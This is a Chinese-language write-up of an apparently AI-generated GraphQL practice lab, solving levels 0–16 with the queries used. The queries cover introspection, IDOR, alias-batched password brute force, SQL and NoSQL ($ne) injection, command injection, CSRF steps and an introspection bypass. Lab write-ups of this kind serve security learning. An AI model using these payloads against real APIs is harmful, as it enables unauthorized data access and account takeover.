前言:
之前大致的了解了Graphql,websocket,rpc,restfulapi.由于现在比赛需要所以单独把这些部分拿出来再学一下,重点在前三位,rest的我个人认为偏向于接口fuzz类所以就不细说它。
本次使用的靶场是用ai大人搓的一个,还有待优化,希望各位可以提出建议.github地址我会放最后.
level 0 (打靶)
由于是ai搓的大家将就一下吧
这一关算是熟悉一下这个查询的请求格式.这个相当于是未授权访问,你的endpoint.客户端请求什么服务端就返回所请求的资源.相关的审计代码如下:
challenge: () => world.data.flag
query { challenge }flag:FLAG{graphql_basics_f8c9a47d}
level 1
这一关题目描述如下:
GraphQL 区分查询(读取数据)和突变(写入数据)操作。字段可以接收参数,操作可以通过Variables接收运行时值。在此级别中,flag会存储在特殊用户的配置文件中。探索API,了解参数和嵌套选择的工作原理,并检索该标志。
Stored as a column (secretMessage) of a user row, returned by a normal resolver.证明最后要查的是一个secretMessage的资源
query(查询) mutation(修改)
既然题目描述说flag会存储在特殊用户的配置文件中那么我们就看看有哪些用户,猜一下用户表users. query是一个精准的查询方式他不会允许访问一个目录,所以实际上我们指定的是键值对中的键然后通过query去查值.就比如这样一个结构
users |---sex |---name |---id |---email |---qq |---wechat我们query{users}是不行的,因为服务器不知道你到底要users里面的哪一个值,是sex呢还是name呢还是id呢.所以可以有query{users{id}}同理query{users{email}}是不行的.而query{users{email{qq}}}是可以的。当然query{users{sex name}}。这里注意一个点query{users}本质上是"我要调用 Schema 中 Query 类型的 users 字段"而不是我要访问服务器的 /users/ 路径。总之记住这句话:
GraphQL Query 不是“访问目录”,而是在 Schema 提供的对象/字段树上进行选择。
回到这个题我们猜一下字段,最后得出id和username.(这种大家不必过于纠结,题目没出好应该直接告诉大家的,猜一下也很好猜)
poc如下:
query{user(id:"3"){username secretMessage}} query{users{username secretMessage}} 总之有很多我们已经知道目录结构怎么来都可以这里还是未授权的flag:FLAG{graphql_query_mutation_eb98d301}
level 2
题目描述:
开发者在制作过程中意外地启用了 GraphQL 自省功能。内省是一种内置机制,可让客户端向服务器询问其完整模式:每种类型、字段、参数和突变。此关卡将其flag隐藏在一个从未在任何地方记录的字段后方——通过读取模式本身来查找。
这个有点明了哦,相当于是sql注入里面的informationschema。所以我们记住下面这几个问题:
你有什么 Type? 你有什么 Query? 你有什么 Mutation? 每个 Field 有什么参数? 参数是什么类型? 返回什么类型? 有哪些 Directive?
所以上来跟他爆了
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
name
fields {
name
args { name }
type { name }
}
}
}
}
发现deepSecret
记住,__schema找架构,__type找详细资料。
poc:query{deepSecret{value}}
这里可能有人问为啥你知道最里层是valude这个filed呢,因为我们直到deepSecret返回类型是SecretPayload,而这个东西他有一个value且value的类型是string,因此deepSecret这个filed有value属性.可以看看下面代码的值来帮助理解,下面是查Query类型的字段名.
{ __type(name: "Query") { fields { name } } }flag:FLAG{graphql_introspection_8334672a}
level 3
这关加了账号密码
登录:这里可能有点不明所以(这点不是很重要)
query:查询
mutation:执行/修改
subscription:订阅
mutation { login(username: "alice", password: "alice123") { token user { username } } }实际情况肯定不可能这样鉴权的,也不好说吧.
没啥说的就登录然后query{me{apiKey}}
flag:FLAG{graphql_information_disclosure_48dcb9ad}
level 4
改改请求头
这里不改这样放哈感觉没啥相关性。
level 5
这关是IDOR用我们的__schema获取结构后了解字段结构然后直接枚举,因为默认账户alice是d-1001和1002。所以poc:
query { document(id: "d-2001") { title content ownerId } }flag:FLAG{graphql_idor_dc0ca4ab}
level 6
父解释器授权而它的子解释器未授权可以跳其他信息。messages字段是没做鉴权的.这里更多的是思路吧我觉得,难点在于query不知道怎么构造的话就只有去看看graphql了。
poc:
query { user(username: "bob") { username messages { content } } }flag:FLAG{graphql_nested_authorization_bf11f13f}
level 7
mutation可以一次性执行多组值尝试,爆破弱口令比常规登录逻辑快.没啥说的
mutation { a: login(username:"admin", password:"admin"){ success token } b: login(username:"admin", password:"password"){ success token } c: login(username:"admin", password:"123456"){ success token } d: login(username:"admin", password:"graphqlrocks"){ success token } }flag:FLAG{graphql_alias_batch_004d6726}
第八关是多层嵌套递归打dos也不说了没啥营养。
flag:FLAG{graphql_query_dos_3b5fec30}
level 9
该场景下打sql注入.这种实际情况我觉得很少,而且打黑盒一般想不到,这里大家重点关注白盒的审计要点,其实和sql的审计点是一样的,这里是searchUsers(keyword) 的 resolver 直接把 keyword 拼进 LIKE 语句。我在wp里面补充了。
flag:FLAG{graphql_sql_injection_60a6a94a}
level 10
Mongo 的 find 接受查询文档。普通写法 {username:'admin',password:'s3cr3t'}是等值。
但如果你能把 { $ne: "x" } 塞进 password 字段:
{ username:'admin', password: { $ne:'x' } } → “密码不等于 x” 对所有记录为真 → 命中 admin。
GraphQL 类型系统只能保证“值是字符串”,不能阻止 resolver 对字符串做二次解析。
代码审计点可以参考nosql和rce。思路还是和以前的一样只是换了个场景。
flag:FLAG{graphql_nosql_injection_baf33c80}
level 11
这一关就是ping后面;截断导致的rce思路上没新的也是只是场景变了。
flag:FLAG{graphql_command_injection_8b07a361}
level 12
这关没啥营养且实用性低大家看wp吧就
flag:FLAG{graphql_directive_abuse_874331bf}
level 13
依次填入
mutation { login(username:"attacker",password:"attacker123"){ ok } } mutation { changeEmail(email:"admin@corp.example"){ ok email } } query{ readInbox { subject content } }CSRF那一套
flag:FLAG{graphql_csrf_fecddd75}
level 14
关 introspection 只是挡住两条路,Schema 信息仍可通过以下渠道泄露: 校验错误建议(Did you mean)、
__typename、错误差分(Cannot query field "x" on type "T"泄露类型名)、文档/前端残留、字段爆破。隐藏 introspection 是“模糊”而不是“授权”。
flag:FLAG{graphql_introspection_bypass_d3440468}
level 15
APQ 用 sha256 代替查询文本,本意是省流量/便于白名单。它不是安全机制: 注册开放 + 无 owner 绑定 + resolver 无鉴权 = “hash 即白名单”完全失效。用 hash 代替整段查询文本。
之前注册过的查询泄露可以直接复用然后结合APQ
level 16
组合拳哈,看到内省开着先看query类型的字段
query{__type(name: "Query"){fields{name}}}返回
{ "data": { "__type": { "fields": [ { "name": "me" }, { "name": "user" }, { "name": "users" }, { "name": "order" }, { "name": "document" }, { "name": "searchUsers" }, { "name": "adminVault" } ] } } }me可以看看apiKey,adminVault也可以查一下类型然后看看value。还有一个searchUsers这种功能直接注入往上打。需要先登录alice
mutation { login(username:"alice", password:"alice123") { token } }
看过apiKey没啥用哈。要不直接试试searchUsers功能。
{ __type(name: "Query") { fields { name args { name type { name kind ofType { name kind } } } type { name kind ofType { name kind } } } } }内省开着直接给他曝光,看看这个searchUsers怎么触发的。
{ "name": "searchUsers", "args": [ { "name": "keyword", "type": { "name": null, "kind": "NON_NULL", "ofType": { "name": "String", "kind": "SCALAR" } } } ], "type": { "name": null, "kind": "LIST", "ofType": { "name": null, "kind": "NON_NULL" } } },这个给了我们什么信息呢?有个非空参数keyword继续往下查
{ __type(name: "Query") { fields { name args { name type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }返回值如下
{ "name": "searchUsers", "args": [ { "name": "keyword", "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "String", "ofType": null } } } ], "type": { "kind": "LIST", "name": null, "ofType": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "OBJECT", "name": "User", "ofType": null } } } },返回值是非空对象列表emm尝试一下能不能再keyword打sql注入
query { searchUsers(keyword: "alice") { username role } }%出了很多东西可以有
{ __type(name: "User") { fields { name args { name type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }老样子查字段,User类型有哪些字段
看到其中有password所以直接%查所有人password.
拿到admin然后换账号,然后老方法查adminVault的字段。
最后拿到。
总结:
查字段,换类型,再复查,传参数,试fuzz,又重复。
靶场地址:https://github.com/dnjs15/my-study-labs